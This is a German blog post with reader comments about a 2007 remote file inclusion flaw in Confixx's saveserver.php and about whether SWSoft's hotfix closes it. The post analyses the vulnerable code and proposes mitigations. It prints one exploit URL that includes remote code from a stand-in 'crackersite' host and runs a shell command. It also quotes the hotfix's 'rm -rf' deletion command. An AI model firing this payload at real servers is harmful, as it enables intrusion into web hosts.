Mittwoch, 1. August 2007
Fehlerhafter Hotfix von SWSoft für das Confixx-Exploit
Der Hotfix für Confixx, welcher von SWSoft bereitgestellt wurde um die aktuelle Sicherheitslücke zu stopfen ist meiner Meinung nach fehlerhaft.
Das Exploit
Zuerst ein paar Worte zum eigentlichen Exploit. Verantwortlich für die Sicherheitslücke, ist die Datei html/admin/business_inc/saveserver.php. Das Problem besteht hierbei, dass die Variable $thisdir nicht initalisiert ist. Der fehlerhafte Code lautet wie folgt:
- {
- include( $thisdir . "/business_inc/list.php" );
- }
Wenn nun die Datei saveserver.php folgendermaßen aufgerufen wird, kann man fremde Dateien einbinden, oder andere Dateien im Filesystem lesen.
saveserver.php?thisdir=http://crackersite/hack.txt?cmd=ls -la
Der Entdecker des Exploits nennt sich XPK. Das komplette Advisory findet ihr hier
Der Hotfix
Der Hotfix von Confixx enthält folgende Zeilen Perlcode, den ich wie folgt intereptiere:
- print "This is a security hotfix for vulnerability in admin/business_inc/saveserver.php\n".
- "Should be applied to Confixx versions since 2.0.12 up to 3.3.1\n".
- "It also should be applied every time you make upgrade to one of vulnerable versions\n".
- "<press any key to continue or CTRL+C to cancel> "; <STDIN>;
- @files = (
- "$installDir/admin/html/admin/business.php",
- "$confixx_htmlDir/admin/business.php",
- "$installDir/admin/html/admin/business_inc",
- "$confixx_htmlDir/admin/business_inc",
- "$installDir/admin/html/admin/business_edit.php",
- "$confixx_htmlDir/admin/business_edit.php"
- );
- foreach $file (@files){
- }
Alle Dateien, welche in dem @files - Array sind, werden gelöscht. Es wird also keine Anpassung an der Datei saveserver.php vorgenommen. Da aber genau diese Datei enthält die Sicherheitslücke. Demnach wird die Sicherheitslücke nicht geschlossen.
Lösung
Ich würde in der Datei saveserver.php die Variable initalisieren. Der Code würde demnach so aussehen:
- $thisdir = '';
- {
- include( $thisdir . "/business_inc/list.php" );
- }
Ich weiss aber nicht, in wie weit diese Änderung einfluss auf das System hat. Ich kann also nicht sagen ob es funkitioniert, da ich Confixx selbst nicht nutze.
Weite Sicherheitslücken
Manu hat schon im Dezember SWSoft von weiteren Lücken in Confixx informiert, welche angeblich nocht nicht geschlossen sind
Richtigstellung
Wie Sergey in den Kommentaren bemerkt hat, wird die Datei doch gelöscht, weil sie sich unterhalb der Ordners html/admin/business_inc befindet.
Manuel Bräuer - #1 - 02.08.2007 18:12 - (Antwort)
hi,
ich habe mal auf die schnelle die datei(en) durchgeschaut, da es nur include files sind, kann man den zugriff auf das verzeichnis mit htaccess (deny from all) unterbinden...
alternativ sollte es auch ausreichen "register_globals" zu deaktivieren, da die variable "$thisdir" eben nicht expliziet initalisiert wird...
Manuel Bräuer
Sergey - #2 - 07.08.2007 09:01 - (Antwort)
"$confixx_htmlDir/admin/business_inc" - das ist Verzeichnis, deshalb wird das Verzeichnis mit allen Dateien, die unter dem Verzeichnis liegen, mittels des folgenden Befehl gelöscht werden:
system ("rm -rf $file\n")
Damit wird die Datei html/admin/business_inc/saveserver.php natürlich auch gelöscht.
Der Hotfix funktioniert richtig.
Mr. Foo - #2.1 - 09.08.2007 15:50 - (Antwort)
Hallo Sergey,
vielen Dank für den Hinweis - da ich selbst Confixx nicht einsetze kenne ich die Verzeichnisstruktur nicht.
Arne - #3 - 12.08.2007 00:36 - (Antwort)
Was mich nur verdammt wundert: Wenn der Hotfix korrekt ist (ich hab mich auch sehr über das einfache Löschen der Dateien in dem Array gewundert), warum soll man dann gleich so viel einfach löschen? Sind etwa die gesamten angegeben Dateien/Verzeichnisse mittlerweile obsolet und werden trotz Nichtnutzung noch ausgeliefert, oder wie hab ich das zu interpretieren? Weiss dazu jemand etwas sicheres?
Dirk - #4 - 24.01.2008 21:43 - (Antwort)
Ich hatte die saveserver.php in meinen Apache Logfiles, so bin ich auf diese Seite gekommen.
An dem Parameter hing die URL zu einem Trojaner.
Jedoch habe ich gar kein Confixx auf meinem Server laufen, sondern Plesk! Besteht hier auch diese Lücke, oder handelte es sich bei dem Log nur um einen Angriffsversuch?
Dave84620 - #4.1 - 17.09.2008 08:57 - (Antwort)
Mit diesen Aufrufen werden systematisch IP für IP die Webserver durchgescannt. Dabei wird nicht vorher geprüft, ob überhaupt ein Confixx läuft. Somit kann dieser Aufruf in den Logs von jeglichen Webservern zu finden sein.

Eben habe ich festgestellt, dass ein Cracker-Angriff auf den Entwickler Blog verübt wurde.Der Versuch Es wurde heute gegen 14:00 Uhr von einem, warscheinlich gekapertem Server, versucht auf dem System der Interpräsenz einzudringen. Angriff via Plesk
Aufgenommen: Aug 12, 16:21